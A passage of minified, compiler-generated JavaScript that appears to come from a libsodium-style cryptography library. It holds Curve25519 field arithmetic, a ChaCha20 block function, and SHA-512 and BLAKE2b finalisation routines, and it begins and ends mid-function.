(V3 = Bt2(J5, A8, b5, V3)) + e6 | 0, e6 = y4 + U5 | 0, e6 = R5 >>> 0 < V3 >>> 0 ? e6 + 1 | 0 : e6, R5 = (K5 = Bt2(r11, l5, K5, B5)) + R5 | 0, U5 = y4 + e6 | 0, e6 = (z4 = Bt2(z4, f5, X3, d5)) + R5 | 0, R5 = y4 + (R5 >>> 0 < K5 >>> 0 ? U5 + 1 | 0 : U5) | 0, R5 = e6 >>> 0 < z4 >>> 0 ? R5 + 1 | 0 : R5, U5 = Bt2(Y5, o5, L5, c5), R5 = y4 + R5 | 0, R5 = (R5 = (e6 = U5 + e6 | 0) >>> 0 < U5 >>> 0 ? R5 + 1 | 0 : R5) + (U5 = G5 >> 26) | 0, e6 = (U5 = G5 = (W3 = e6) + (e6 = (67108863 & G5) << 6 | tt3 >>> 26) | 0) >>> 0 < e6 >>> 0 ? R5 + 1 | 0 : R5, z4 = R5 = U5 + 16777216 | 0, G5 = e6 = R5 >>> 0 < 16777216 ? e6 + 1 | 0 : e6, a4[t7 + 12 >> 2] = U5 - (-33554432 & R5), e6 = Bt2(r11, l5, h5, p5), R5 = y4, U5 = Bt2(L5, c5, L5, c5), R5 = y4 + R5 | 0, R5 = (e6 = U5 + e6 | 0) >>> 0 < U5 >>> 0 ? R5 + 1 | 0 : R5, U5 = Bt2(n9, s5, X3, d5), R5 = y4 + R5 | 0, R5 = (e6 = U5 + e6 | 0) >>> 0 < U5 >>> 0 ? R5 + 1 | 0 : R5, U5 = (L5 = Bt2(J5, A8, w5, Q5)) + e6 | 0, e6 = y4 + R5 | 0, e6 = U5 >>> 0 < L5 >>> 0 ? e6 + 1 | 0 : e6, R5 = (L5 = Bt2(j5, i4, I5, E5)) + U5 | 0, U5 = y4 + e6 | 0, U5 = R5 >>> 0 < L5 >>> 0 ? U5 + 1 | 0 : U5, e6 = (L5 = Bt2(e6 = Y5, o5, Y5 = S5, X3 = Y5 >> 31)) + R5 | 0, R5 = y4 + U5 | 0, R5 = e6 >>> 0 < L5 >>> 0 ? R5 + 1 | 0 : R5, U5 = e6, R5 = (e6 = H5 >> 25) + R5 | 0, R5 = (U5 = U5 + (H5 = (33554431 & H5) << 7 | et3 >>> 25) | 0) >>> 0 < H5 >>> 0 ? R5 + 1 | 0 : R5, L5 = e6 = U5 + 33554432 | 0, H5 = R5 = e6 >>> 0 < 33554432 ? R5 + 1 | 0 : R5, a4[t7 + 32 >> 2] = U5 - (-67108864 & e6), R5 = G5 >> 25, U5 = (G5 = (33554431 & G5) << 7 | z4 >>> 25) + (N6 - (e6 = -67108864 & x5) | 0) | 0, e6 = R5 + (M5 - ((e6 >>> 0 > N6 >>> 0) + F5 | 0) | 0) | 0, e6 = U5 >>> 0 < G5 >>> 0 ? e6 + 1 | 0 : e6, G5 = U5, e6 = ((67108863 & (R5 = (U5 = U5 + 33554432 | 0) >>> 0 < 33554432 ? e6 + 1 | 0 : e6)) << 6 | U5 >>> 26) + (K5 = nt3 - (-33554432 & P5) | 0) | 0, a4[t7 + 20 >> 2] = e6, a4[t7 + 16 >> 2] = G5 - (-67108864 & U5), e6 = Bt2(n9, s5, r11, l5), U5 = y4, R5 = (G5 = Bt2(u5, v5, q4, D5)) + e6 | 0, e6 = y4 + U5 | 0, e6 = R5 >>> 0 < G5 >>> 0 ? e6 + 1 | 0 : e6, U5 = (G5 = Bt2(h5, p5, C5, k5)) + R5 | 0, R5 = y4 + e6 | 0, R5 = U5 >>> 0 < G5 >>> 0 ? R5 + 1 | 0 : R5, e6 = (G5 = Bt2(J5, A8, I5, E5)) + U5 | 0, U5 = y4 + R5 | 0, U5 = e6 >>> 0 < G5 >>> 0 ? U5 + 1 | 0 : U5, G5 = (R5 = e6) + (e6 = Bt2(j5, i4, Y5, X3)) | 0, R5 = y4 + U5 | 0, R5 = (e6 = e6 >>> 0 > G5 >>> 0 ? R5 + 1 | 0 : R5) + (R5 = H5 >> 26) | 0, e6 = (U5 = (H5 = (67108863 & H5) << 6 | L5 >>> 26) + G5 | 0) >>> 0 < H5 >>> 0 ? R5 + 1 | 0 : R5, e6 = (R5 = U5 + 16777216 | 0) >>> 0 < 16777216 ? e6 + 1 | 0 : e6, a4[t7 + 36 >> 2] = U5 - (-33554432 & R5), H5 = $3 - (-33554432 & At3) | 0, G5 = O5 - (U5 = -67108864 & rt3) | 0, J5 = Z3 - ((U5 >>> 0 > O5 >>> 0) + T3 | 0) | 0, e6 = Bt2((33554431 & e6) << 7 | R5 >>> 25, e6 >> 25, 19, 0), R5 = y4 + J5 | 0, e6 = e6 >>> 0 > (U5 = e6 + G5 | 0) >>> 0 ? R5 + 1 | 0 : R5, e6 = ((67108863 & (e6 = (R5 = U5 + 33554432 | 0) >>> 0 < 33554432 ? e6 + 1 | 0 : e6)) << 6 | R5 >>> 26) + H5 | 0, a4[t7 + 4 >> 2] = e6, a4[t7 >> 2] = U5 - (-67108864 & R5); - } - function k4(t7, e6, r11, n9, A8) { - var i4, o5, h5, g5, u5, l5, f5, p5, d5, y5, C5, m5, B5, E5, w5, v5 = 0, _5 = 0, Q5 = 0, b5 = 0, k5 = 0, D5 = 0, S5 = 0, N6 = 0, M5 = 0, x5 = 0, F5 = 0, P5 = 0, T3 = 0, R5 = 0, U5 = 0, G5 = 0, H5 = 0, L5 = 0, O5 = 0, Y5 = 0, K5 = 0, J5 = 0, j5 = 0, z4 = 0, q4 = 0, X3 = 0, V3 = 0, W3 = 0, Z3 = 0, $3 = 0, tt3 = 0, et3 = 0, rt3 = 0, nt3 = 0; - for (i4 = I4 + -64 | 0, o5 = a4[t7 + 60 >> 2], h5 = a4[t7 + 56 >> 2], Y5 = a4[t7 + 52 >> 2], O5 = a4[t7 + 48 >> 2], g5 = a4[t7 + 44 >> 2], u5 = a4[t7 + 40 >> 2], l5 = a4[t7 + 36 >> 2], f5 = a4[t7 + 32 >> 2], p5 = a4[t7 + 28 >> 2], d5 = a4[t7 + 24 >> 2], y5 = a4[t7 + 20 >> 2], C5 = a4[t7 + 16 >> 2], m5 = a4[t7 + 12 >> 2], B5 = a4[t7 + 8 >> 2], E5 = a4[t7 + 4 >> 2], w5 = a4[t7 >> 2]; ; ) { - if (!A8 & n9 >>> 0 > 63 | A8) - v5 = r11; - else { - if (a4[i4 + 56 >> 2] = 0, a4[i4 + 60 >> 2] = 0, a4[i4 + 48 >> 2] = 0, a4[i4 + 52 >> 2] = 0, a4[i4 + 40 >> 2] = 0, a4[i4 + 44 >> 2] = 0, a4[i4 + 32 >> 2] = 0, a4[i4 + 36 >> 2] = 0, a4[i4 + 24 >> 2] = 0, a4[i4 + 28 >> 2] = 0, a4[i4 + 16 >> 2] = 0, a4[i4 + 20 >> 2] = 0, a4[i4 + 8 >> 2] = 0, a4[i4 + 12 >> 2] = 0, a4[i4 >> 2] = 0, a4[i4 + 4 >> 2] = 0, Q5 = 0, n9 | A8) - for (; s4[Q5 + i4 | 0] = c4[e6 + Q5 | 0], !A8 & (Q5 = Q5 + 1 | 0) >>> 0 < n9 >>> 0 | A8; ) - ; - e6 = v5 = i4, q4 = r11; - } - for (K5 = 20, _5 = w5, x5 = E5, F5 = B5, R5 = m5, Q5 = C5, r11 = y5, k5 = d5, D5 = p5, S5 = f5, G5 = l5, P5 = u5, b5 = o5, H5 = h5, U5 = Y5, T3 = O5, N6 = g5; M5 = Q5, _5 = Gt2((Q5 = _5 + Q5 | 0) ^ T3, 16), M5 = T3 = Gt2(M5 ^ (S5 = _5 + S5 | 0), 12), T3 = Gt2((L5 = Q5 + T3 | 0) ^ _5, 8), Q5 = Gt2(M5 ^ (S5 = T3 + S5 | 0), 7), b5 = Gt2((_5 = D5 + R5 | 0) ^ b5, 16), D5 = Gt2((N6 = b5 + N6 | 0) ^ D5, 12), R5 = Gt2((F5 = k5 + F5 | 0) ^ H5, 16), k5 = Gt2((P5 = R5 + P5 | 0) ^ k5, 12), H5 = (J5 = _5 + D5 | 0) + Q5 | 0, j5 = Gt2((F5 = k5 + F5 | 0) ^ R5, 8), _5 = Gt2(H5 ^ j5, 16), R5 = Gt2((x5 = r11 + x5 | 0) ^ U5, 16), r11 = Gt2((G5 = R5 + G5 | 0) ^ r11, 12), M5 = Q5, U5 = Gt2((x5 = r11 + x5 | 0) ^ R5, 8), M5 = Gt2(M5 ^ (Q5 = (z4 = U5 + G5 | 0) + _5 | 0), 12), H5 = Gt2(_5 ^ (R5 = M5 + H5 | 0), 8), Q5 = Gt2((G5 = H5 + Q5 | 0) ^ M5, 7), M5 = S5, S5 = F5, _5 = Gt2(b5 ^ J5, 8), F5 = Gt2((b5 = _5 + N6 | 0) ^ D5, 7), U5 = Gt2((S5 = S5 + F5 | 0) ^ U5, 16), N6 = Gt2((D5 = M5 + U5 | 0) ^ F5, 12), U5 = Gt2(U5 ^ (F5 = N6 + S5 | 0), 8), D5 = Gt2((S5 = D5 + U5 | 0) ^ N6, 7), N6 = b5, b5 = x5, x5 = Gt2((P5 = P5 + j5 | 0) ^ k5, 7), k5 = N6 + (T3 = Gt2((b5 = b5 + x5 | 0) ^ T3, 16)) | 0, N6 = b5, b5 = Gt2(k5 ^ x5, 12), T3 = Gt2(T3 ^ (x5 = N6 + b5 | 0), 8), k5 = Gt2((N6 = k5 + T3 | 0) ^ b5, 7), M5 = P5, b5 = _5, _5 = Gt2(r11 ^ z4, 7), b5 = Gt2(b5 ^ (P5 = _5 + L5 | 0), 16), L5 = Gt2((r11 = M5 + b5 | 0) ^ _5, 12), b5 = Gt2(b5 ^ (_5 = L5 + P5 | 0), 8), r11 = Gt2((P5 = r11 + b5 | 0) ^ L5, 7), K5 = K5 - 2 | 0; ) - ; - if (K5 = c4[e6 + 4 | 0] | c4[e6 + 5 | 0] << 8 | c4[e6 + 6 | 0] << 16 | c4[e6 + 7 | 0] << 24, L5 = c4[e6 + 8 | 0] | c4[e6 + 9 | 0] << 8 | c4[e6 + 10 | 0] << 16 | c4[e6 + 11 | 0] << 24, J5 = c4[e6 + 12 | 0] | c4[e6 + 13 | 0] << 8 | c4[e6 + 14 | 0] << 16 | c4[e6 + 15 | 0] << 24, j5 = c4[e6 + 16 | 0] | c4[e6 + 17 | 0] << 8 | c4[e6 + 18 | 0] << 16 | c4[e6 + 19 | 0] << 24, z4 = c4[e6 + 20 | 0] | c4[e6 + 21 | 0] << 8 | c4[e6 + 22 | 0] << 16 | c4[e6 + 23 | 0] << 24, M5 = c4[e6 + 24 | 0] | c4[e6 + 25 | 0] << 8 | c4[e6 + 26 | 0] << 16 | c4[e6 + 27 | 0] << 24, X3 = c4[e6 + 28 | 0] | c4[e6 + 29 | 0] << 8 | c4[e6 + 30 | 0] << 16 | c4[e6 + 31 | 0] << 24, V3 = c4[e6 + 32 | 0] | c4[e6 + 33 | 0] << 8 | c4[e6 + 34 | 0] << 16 | c4[e6 + 35 | 0] << 24, W3 = c4[e6 + 36 | 0] | c4[e6 + 37 | 0] << 8 | c4[e6 + 38 | 0] << 16 | c4[e6 + 39 | 0] << 24, Z3 = c4[e6 + 40 | 0] | c4[e6 + 41 | 0] << 8 | c4[e6 + 42 | 0] << 16 | c4[e6 + 43 | 0] << 24, $3 = c4[e6 + 44 | 0] | c4[e6 + 45 | 0] << 8 | c4[e6 + 46 | 0] << 16 | c4[e6 + 47 | 0] << 24, tt3 = c4[e6 + 48 | 0] | c4[e6 + 49 | 0] << 8 | c4[e6 + 50 | 0] << 16 | c4[e6 + 51 | 0] << 24, et3 = c4[e6 + 52 | 0] | c4[e6 + 53 | 0] << 8 | c4[e6 + 54 | 0] << 16 | c4[e6 + 55 | 0] << 24, rt3 = c4[e6 + 56 | 0] | c4[e6 + 57 | 0] << 8 | c4[e6 + 58 | 0] << 16 | c4[e6 + 59 | 0] << 24, nt3 = c4[e6 + 60 | 0] | c4[e6 + 61 | 0] << 8 | c4[e6 + 62 | 0] << 16 | c4[e6 + 63 | 0] << 24, _5 = _5 + w5 ^ (c4[0 | e6] | c4[e6 + 1 | 0] << 8 | c4[e6 + 2 | 0] << 16 | c4[e6 + 3 | 0] << 24), s4[0 | v5] = _5, s4[v5 + 1 | 0] = _5 >>> 8, s4[v5 + 2 | 0] = _5 >>> 16, s4[v5 + 3 | 0] = _5 >>> 24, _5 = b5 + o5 ^ nt3, s4[v5 + 60 | 0] = _5, s4[v5 + 61 | 0] = _5 >>> 8, s4[v5 + 62 | 0] = _5 >>> 16, s4[v5 + 63 | 0] = _5 >>> 24, _5 = H5 + h5 ^ rt3, s4[v5 + 56 | 0] = _5, s4[v5 + 57 | 0] = _5 >>> 8, s4[v5 + 58 | 0] = _5 >>> 16, s4[v5 + 59 | 0] = _5 >>> 24, _5 = U5 + Y5 ^ et3, s4[v5 + 52 | 0] = _5, s4[v5 + 53 | 0] = _5 >>> 8, s4[v5 + 54 | 0] = _5 >>> 16, s4[v5 + 55 | 0] = _5 >>> 24, _5 = T3 + O5 ^ tt3, s4[v5 + 48 | 0] = _5, s4[v5 + 49 | 0] = _5 >>> 8, s4[v5 + 50 | 0] = _5 >>> 16, s4[v5 + 51 | 0] = _5 >>> 24, _5 = N6 + g5 ^ $3, s4[v5 + 44 | 0] = _5, s4[v5 + 45 | 0] = _5 >>> 8, s4[v5 + 46 | 0] = _5 >>> 16, s4[v5 + 47 | 0] = _5 >>> 24, _5 = P5 + u5 ^ Z3, s4[v5 + 40 | 0] = _5, s4[v5 + 41 | 0] = _5 >>> 8, s4[v5 + 42 | 0] = _5 >>> 16, s4[v5 + 43 | 0] = _5 >>> 24, _5 = G5 + l5 ^ W3, s4[v5 + 36 | 0] = _5, s4[v5 + 37 | 0] = _5 >>> 8, s4[v5 + 38 | 0] = _5 >>> 16, s4[v5 + 39 | 0] = _5 >>> 24, _5 = S5 + f5 ^ V3, s4[v5 + 32 | 0] = _5, s4[v5 + 33 | 0] = _5 >>> 8, s4[v5 + 34 | 0] = _5 >>> 16, s4[v5 + 35 | 0] = _5 >>> 24, D5 = D5 + p5 ^ X3, s4[v5 + 28 | 0] = D5, s4[v5 + 29 | 0] = D5 >>> 8, s4[v5 + 30 | 0] = D5 >>> 16, s4[v5 + 31 | 0] = D5 >>> 24, k5 = M5 ^ k5 + d5, s4[v5 + 24 | 0] = k5, s4[v5 + 25 | 0] = k5 >>> 8, s4[v5 + 26 | 0] = k5 >>> 16, s4[v5 + 27 | 0] = k5 >>> 24, r11 = z4 ^ r11 + y5, s4[v5 + 20 | 0] = r11, s4[v5 + 21 | 0] = r11 >>> 8, s4[v5 + 22 | 0] = r11 >>> 16, s4[v5 + 23 | 0] = r11 >>> 24, r11 = j5 ^ Q5 + C5, s4[v5 + 16 | 0] = r11, s4[v5 + 17 | 0] = r11 >>> 8, s4[v5 + 18 | 0] = r11 >>> 16, s4[v5 + 19 | 0] = r11 >>> 24, r11 = J5 ^ R5 + m5, s4[v5 + 12 | 0] = r11, s4[v5 + 13 | 0] = r11 >>> 8, s4[v5 + 14 | 0] = r11 >>> 16, s4[v5 + 15 | 0] = r11 >>> 24, r11 = L5 ^ F5 + B5, s4[v5 + 8 | 0] = r11, s4[v5 + 9 | 0] = r11 >>> 8, s4[v5 + 10 | 0] = r11 >>> 16, s4[v5 + 11 | 0] = r11 >>> 24, r11 = K5 ^ x5 + E5, s4[v5 + 4 | 0] = r11, s4[v5 + 5 | 0] = r11 >>> 8, s4[v5 + 6 | 0] = r11 >>> 16, s4[v5 + 7 | 0] = r11 >>> 24, Y5 = !(O5 = O5 + 1 | 0) + Y5 | 0, !A8 & n9 >>> 0 <= 64) { - if (!(!n9 | !A8 & n9 >>> 0 > 63 | !!(0 | A8))) - for (Q5 = 0; s4[Q5 + q4 | 0] = c4[v5 + Q5 | 0], n9 >>> 0 > (Q5 = Q5 + 1 | 0) >>> 0; ) - ; - a4[t7 + 52 >> 2] = Y5, a4[t7 + 48 >> 2] = O5; - break; - } - e6 = e6 - -64 | 0, r11 = v5 - -64 | 0, A8 = A8 - 1 | 0, A8 = (n9 = n9 + -64 | 0) >>> 0 < 4294967232 ? A8 + 1 | 0 : A8; - } - } - function D4(t7, e6) { - var r11, n9 = 0, A8 = 0, i4 = 0, o5 = 0, c5 = 0, h5 = 0, g5 = 0; - I4 = r11 = I4 - 704 | 0, n9 = 80 + ((A8 = a4[t7 + 72 >> 2] >>> 3 & 127) + t7 | 0) | 0, A8 >>> 0 >= 112 ? (Mt2(n9, 35008, 128 - A8 | 0), B4(t7, A8 = t7 + 80 | 0, r11, r11 + 640 | 0), xt2(A8, 0, 112)) : Mt2(n9, 35008, 112 - A8 | 0), h5 = (i4 = a4[t7 + 64 >> 2]) << 24 | (65280 & i4) << 8, A8 = (o5 = 16711680 & i4) >>> 8 | 0, g5 = o5 << 24, o5 = (c5 = -16777216 & i4) >>> 24 | 0, n9 = g5 | c5 << 8 | -16777216 & ((255 & (n9 = a4[t7 + 68 >> 2])) << 24 | i4 >>> 8) | 16711680 & ((16777215 & n9) << 8 | i4 >>> 24) | n9 >>> 8 & 65280 | n9 >>> 24, s4[t7 + 192 | 0] = n9, s4[t7 + 193 | 0] = n9 >>> 8, s4[t7 + 194 | 0] = n9 >>> 16, s4[t7 + 195 | 0] = n9 >>> 24, A8 = (n9 = A8 | o5 | h5) | (A8 = 0) | A8, s4[t7 + 196 | 0] = A8, s4[t7 + 197 | 0] = A8 >>> 8, s4[t7 + 198 | 0] = A8 >>> 16, s4[t7 + 199 | 0] = A8 >>> 24, h5 = (i4 = a4[t7 + 72 >> 2]) << 24 | (65280 & i4) << 8, A8 = (o5 = 16711680 & i4) >>> 8 | 0, g5 = o5 << 24, o5 = (c5 = -16777216 & i4) >>> 24 | 0, n9 = g5 | c5 << 8 | -16777216 & ((255 & (n9 = a4[t7 + 76 >> 2])) << 24 | i4 >>> 8) | 16711680 & ((16777215 & n9) << 8 | i4 >>> 24) | n9 >>> 8 & 65280 | n9 >>> 24, s4[t7 + 200 | 0] = n9, s4[t7 + 201 | 0] = n9 >>> 8, s4[t7 + 202 | 0] = n9 >>> 16, s4[t7 + 203 | 0] = n9 >>> 24, A8 = (n9 = A8 | o5 | h5) | (A8 = 0) | A8, s4[t7 + 204 | 0] = A8, s4[t7 + 205 | 0] = A8 >>> 8, s4[t7 + 206 | 0] = A8 >>> 16, s4[t7 + 207 | 0] = A8 >>> 24, B4(t7, t7 + 80 | 0, r11, r11 + 640 | 0), h5 = (i4 = a4[t7 >> 2]) << 24 | (65280 & i4) << 8, A8 = (o5 = 16711680 & i4) >>> 8 | 0, g5 = o5 << 24, o5 = (c5 = -16777216 & i4) >>> 24 | 0, n9 = g5 | c5 << 8 | -16777216 & ((255 & (n9 = a4[t7 + 4 >> 2])) << 24 | i4 >>> 8) | 16711680 & ((16777215 & n9) << 8 | i4 >>> 24) | n9 >>> 8 & 65280 | n9 >>> 24, s4[0 | e6] = n9, s4[e6 + 1 | 0] = n9 >>> 8, s4[e6 + 2 | 0] = n9 >>> 16, s4[e6 + 3 | 0] = n9 >>> 24, A8 = (n9 = A8 | o5 | h5) | (A8 = 0) | A8, s4[e6 + 4 | 0] = A8, s4[e6 + 5 | 0] = A8 >>> 8, s4[e6 + 6 | 0] = A8 >>> 16, s4[e6 + 7 | 0] = A8 >>> 24, h5 = (i4 = a4[t7 + 8 >> 2]) << 24 | (65280 & i4) << 8, A8 = (o5 = 16711680 & i4) >>> 8 | 0, g5 = o5 << 24, o5 = (c5 = -16777216 & i4) >>> 24 | 0, n9 = g5 | c5 << 8 | -16777216 & ((255 & (n9 = a4[t7 + 12 >> 2])) << 24 | i4 >>> 8) | 16711680 & ((16777215 & n9) << 8 | i4 >>> 24) | n9 >>> 8 & 65280 | n9 >>> 24, s4[e6 + 8 | 0] = n9, s4[e6 + 9 | 0] = n9 >>> 8, s4[e6 + 10 | 0] = n9 >>> 16, s4[e6 + 11 | 0] = n9 >>> 24, A8 = (n9 = A8 | o5 | h5) | (A8 = 0) | A8, s4[e6 + 12 | 0] = A8, s4[e6 + 13 | 0] = A8 >>> 8, s4[e6 + 14 | 0] = A8 >>> 16, s4[e6 + 15 | 0] = A8 >>> 24, h5 = (i4 = a4[t7 + 16 >> 2]) << 24 | (65280 & i4) << 8, A8 = (o5 = 16711680 & i4) >>> 8 | 0, g5 = o5 << 24, o5 = (c5 = -16777216 & i4) >>> 24 | 0, n9 = g5 | c5 << 8 | -16777216 & ((255 & (n9 = a4[t7 + 20 >> 2])) << 24 | i4 >>> 8) | 16711680 & ((16777215 & n9) << 8 | i4 >>> 24) | n9 >>> 8 & 65280 | n9 >>> 24, s4[e6 + 16 | 0] = n9, s4[e6 + 17 | 0] = n9 >>> 8, s4[e6 + 18 | 0] = n9 >>> 16, s4[e6 + 19 | 0] = n9 >>> 24, A8 = (n9 = A8 | o5 | h5) | (A8 = 0) | A8, s4[e6 + 20 | 0] = A8, s4[e6 + 21 | 0] = A8 >>> 8, s4[e6 + 22 | 0] = A8 >>> 16, s4[e6 + 23 | 0] = A8 >>> 24, h5 = (i4 = a4[t7 + 24 >> 2]) << 24 | (65280 & i4) << 8, A8 = (o5 = 16711680 & i4) >>> 8 | 0, g5 = o5 << 24, o5 = (c5 = -16777216 & i4) >>> 24 | 0, n9 = g5 | c5 << 8 | -16777216 & ((255 & (n9 = a4[t7 + 28 >> 2])) << 24 | i4 >>> 8) | 16711680 & ((16777215 & n9) << 8 | i4 >>> 24) | n9 >>> 8 & 65280 | n9 >>> 24, s4[e6 + 24 | 0] = n9, s4[e6 + 25 | 0] = n9 >>> 8, s4[e6 + 26 | 0] = n9 >>> 16, s4[e6 + 27 | 0] = n9 >>> 24, A8 = (n9 = A8 | o5 | h5) | (A8 = 0) | A8, s4[e6 + 28 | 0] = A8, s4[e6 + 29 | 0] = A8 >>> 8, s4[e6 + 30 | 0] = A8 >>> 16, s4[e6 + 31 | 0] = A8 >>> 24, h5 = (i4 = a4[t7 + 32 >> 2]) << 24 | (65280 & i4) << 8, A8 = (o5 = 16711680 & i4) >>> 8 | 0, g5 = o5 << 24, o5 = (c5 = -16777216 & i4) >>> 24 | 0, n9 = g5 | c5 << 8 | -16777216 & ((255 & (n9 = a4[t7 + 36 >> 2])) << 24 | i4 >>> 8) | 16711680 & ((16777215 & n9) << 8 | i4 >>> 24) | n9 >>> 8 & 65280 | n9 >>> 24, s4[e6 + 32 | 0] = n9, s4[e6 + 33 | 0] = n9 >>> 8, s4[e6 + 34 | 0] = n9 >>> 16, s4[e6 + 35 | 0] = n9 >>> 24, A8 = (n9 = A8 | o5 | h5) | (A8 = 0) | A8, s4[e6 + 36 | 0] = A8, s4[e6 + 37 | 0] = A8 >>> 8, s4[e6 + 38 | 0] = A8 >>> 16, s4[e6 + 39 | 0] = A8 >>> 24, h5 = (i4 = a4[t7 + 40 >> 2]) << 24 | (65280 & i4) << 8, A8 = (o5 = 16711680 & i4) >>> 8 | 0, g5 = o5 << 24, o5 = (c5 = -16777216 & i4) >>> 24 | 0, n9 = g5 | c5 << 8 | -16777216 & ((255 & (n9 = a4[t7 + 44 >> 2])) << 24 | i4 >>> 8) | 16711680 & ((16777215 & n9) << 8 | i4 >>> 24) | n9 >>> 8 & 65280 | n9 >>> 24, s4[e6 + 40 | 0] = n9, s4[e6 + 41 | 0] = n9 >>> 8, s4[e6 + 42 | 0] = n9 >>> 16, s4[e6 + 43 | 0] = n9 >>> 24, A8 = (n9 = A8 | o5 | h5) | (A8 = 0) | A8, s4[e6 + 44 | 0] = A8, s4[e6 + 45 | 0] = A8 >>> 8, s4[e6 + 46 | 0] = A8 >>> 16, s4[e6 + 47 | 0] = A8 >>> 24, h5 = (i4 = a4[t7 + 48 >> 2]) << 24 | (65280 & i4) << 8, A8 = (o5 = 16711680 & i4) >>> 8 | 0, g5 = o5 << 24, o5 = (c5 = -16777216 & i4) >>> 24 | 0, n9 = g5 | c5 << 8 | -16777216 & ((255 & (n9 = a4[t7 + 52 >> 2])) << 24 | i4 >>> 8) | 16711680 & ((16777215 & n9) << 8 | i4 >>> 24) | n9 >>> 8 & 65280 | n9 >>> 24, s4[e6 + 48 | 0] = n9, s4[e6 + 49 | 0] = n9 >>> 8, s4[e6 + 50 | 0] = n9 >>> 16, s4[e6 + 51 | 0] = n9 >>> 24, A8 = (n9 = A8 | o5 | h5) | (A8 = 0) | A8, s4[e6 + 52 | 0] = A8, s4[e6 + 53 | 0] = A8 >>> 8, s4[e6 + 54 | 0] = A8 >>> 16, s4[e6 + 55 | 0] = A8 >>> 24, h5 = (i4 = a4[t7 + 56 >> 2]) << 24 | (65280 & i4) << 8, A8 = (o5 = 16711680 & i4) >>> 8 | 0, n9 = e6, g5 = o5 << 24, o5 = (c5 = -16777216 & i4) >>> 24 | 0, e6 = g5 | c5 << 8 | -16777216 & ((255 & (e6 = a4[t7 + 60 >> 2])) << 24 | i4 >>> 8) | 16711680 & ((16777215 & e6) << 8 | i4 >>> 24) | e6 >>> 8 & 65280 | e6 >>> 24, s4[n9 + 56 | 0] = e6, s4[n9 + 57 | 0] = e6 >>> 8, s4[n9 + 58 | 0] = e6 >>> 16, s4[n9 + 59 | 0] = e6 >>> 24, e6 = (e6 = A8 | o5 | h5) | (A8 = 0) | A8, s4[n9 + 60 | 0] = e6, s4[n9 + 61 | 0] = e6 >>> 8, s4[n9 + 62 | 0] = e6 >>> 16, s4[n9 + 63 | 0] = e6 >>> 24, oe2(r11, 704), oe2(t7, 208), I4 = r11 + 704 | 0; - } - function S4(t7, e6, r11) { - var n9, A8 = 0, o5 = 0, h5 = 0, g5 = 0, u5 = 0, l5 = 0; - I4 = n9 = I4 + -64 | 0; - t: { - if ((r11 - 65 & 255) >>> 0 > 191) { - if (A8 = -1, !(c4[t7 + 80 | 0] | c4[t7 + 81 | 0] << 8 | c4[t7 + 82 | 0] << 16 | c4[t7 + 83 | 0] << 24 | c4[t7 + 84 | 0] | c4[t7 + 85 | 0] << 8 | c4[t7 + 86 | 0] << 16 | c4[t7 + 87 | 0] << 24)) { - if ((g5 = c4[t7 + 352 | 0] | c4[t7 + 353 | 0] << 8 | c4[t7 + 354 | 0] << 16 | c4[t7 + 355 | 0] << 24) >>> 0 >= 129) { - if (h5 = c4[0 | (A8 = t7 - -64 | 0)] | c4[A8 + 1 | 0] << 8 | c4[A8 + 2 | 0] << 16 | c4[A8 + 3 | 0] << 24, u5 = o5 = c4[A8 + 4 | 0] | c4[A8 + 5 | 0] << 8 | c4[A8 + 6 | 0] << 16 | c4[A8 + 7 | 0] << 24, o5 = (g5 = h5 + 128 | 0) >>> 0 < 128 ? o5 + 1 | 0 : o5, s4[0 | A8] = g5, s4[A8 + 1 | 0] = g5 >>> 8, s4[A8 + 2 | 0] = g5 >>> 16, s4[A8 + 3 | 0] = g5 >>> 24, s4[A8 + 4 | 0] = o5, s4[A8 + 5 | 0] = o5 >>> 8, s4[A8 + 6 | 0] = o5 >>> 16, s4[A8 + 7 | 0] = o5 >>> 24, o5 = c4[t7 + 76 | 0] | c4[t7 + 77 | 0] << 8 | c4[t7 + 78 | 0] << 16 | c4[t7 + 79 | 0] << 24, o5 = (A8 = -1 == (0 | u5) & h5 >>> 0 > 4294967167) >>> 0 > (h5 = A8 + (c4[t7 + 72 | 0] | c4[t7 + 73 | 0] << 8 | c4[t7 + 74 | 0] << 16 | c4[t7 + 75 | 0] << 24) | 0) >>> 0 ? o5 + 1 | 0 : o5, s4[t7 + 72 | 0] = h5, s4[t7 + 73 | 0] = h5 >>> 8, s4[t7 + 74 | 0] = h5 >>> 16, s4[t7 + 75 | 0] = h5 >>> 24, s4[t7 + 76 | 0] = o5, s4[t7 + 77 | 0] = o5 >>> 8, s4[t7 + 78 | 0] = o5 >>> 16, s4[t7 + 79 | 0] = o5 >>> 24, C4(t7, o5 = t7 + 96 | 0), A8 = (c4[t7 + 352 | 0] | c4[t7 + 353 | 0] << 8 | c4[t7 + 354 | 0] << 16 | c4[t7 + 355 | 0] << 24) - 128 | 0, s4[t7 + 352 | 0] = A8, s4[t7 + 353 | 0] = A8 >>> 8, s4[t7 + 354 | 0] = A8 >>> 16, s4[t7 + 355 | 0] = A8 >>> 24, A8 >>> 0 >= 129) - break t; - Mt2(o5, t7 + 224 | 0, A8), g5 = c4[t7 + 352 | 0] | c4[t7 + 353 | 0] << 8 | c4[t7 + 354 | 0] << 16 | c4[t7 + 355 | 0] << 24; - } - o5 = c4[0 | (A8 = t7 - -64 | 0)] | c4[A8 + 1 | 0] << 8 | c4[A8 + 2 | 0] << 16 | c4[A8 + 3 | 0] << 24, h5 = l5 = c4[A8 + 4 | 0] | c4[A8 + 5 | 0] << 8 | c4[A8 + 6 | 0] << 16 | c4[A8 + 7 | 0] << 24, h5 = (u5 = o5 + g5 | 0) >>> 0 < g5 >>> 0 ? h5 + 1 | 0 : h5, s4[0 | A8] = u5, s4[A8 + 1 | 0] = u5 >>> 8, s4[A8 + 2 | 0] = u5 >>> 16, s4[A8 + 3 | 0] = u5 >>> 24, s4[A8 + 4 | 0] = h5, s4[A8 + 5 | 0] = h5 >>> 8, s4[A8 + 6 | 0] = h5 >>> 16, s4[A8 + 7 | 0] = h5 >>> 24, A8 = (0 | h5) == (0 | l5) & o5 >>> 0 > u5 >>> 0 | h5 >>> 0 < l5 >>> 0, o5 = c4[t7 + 76 | 0] | c4[t7 + 77 | 0] << 8 | c4[t7 + 78 | 0] << 16 | c4[t7 + 79 | 0] << 24, o5 = (h5 = A8 + (c4[t7 + 72 | 0] | c4[t7 + 73 | 0] << 8 | c4[t7 + 74 | 0] << 16 | c4[t7 + 75 | 0] << 24) | 0) >>> 0 < A8 >>> 0 ? o5 + 1 | 0 : o5, s4[t7 + 72 | 0] = h5, s4[t7 + 73 | 0] = h5 >>> 8, s4[t7 + 74 | 0] = h5 >>> 16, 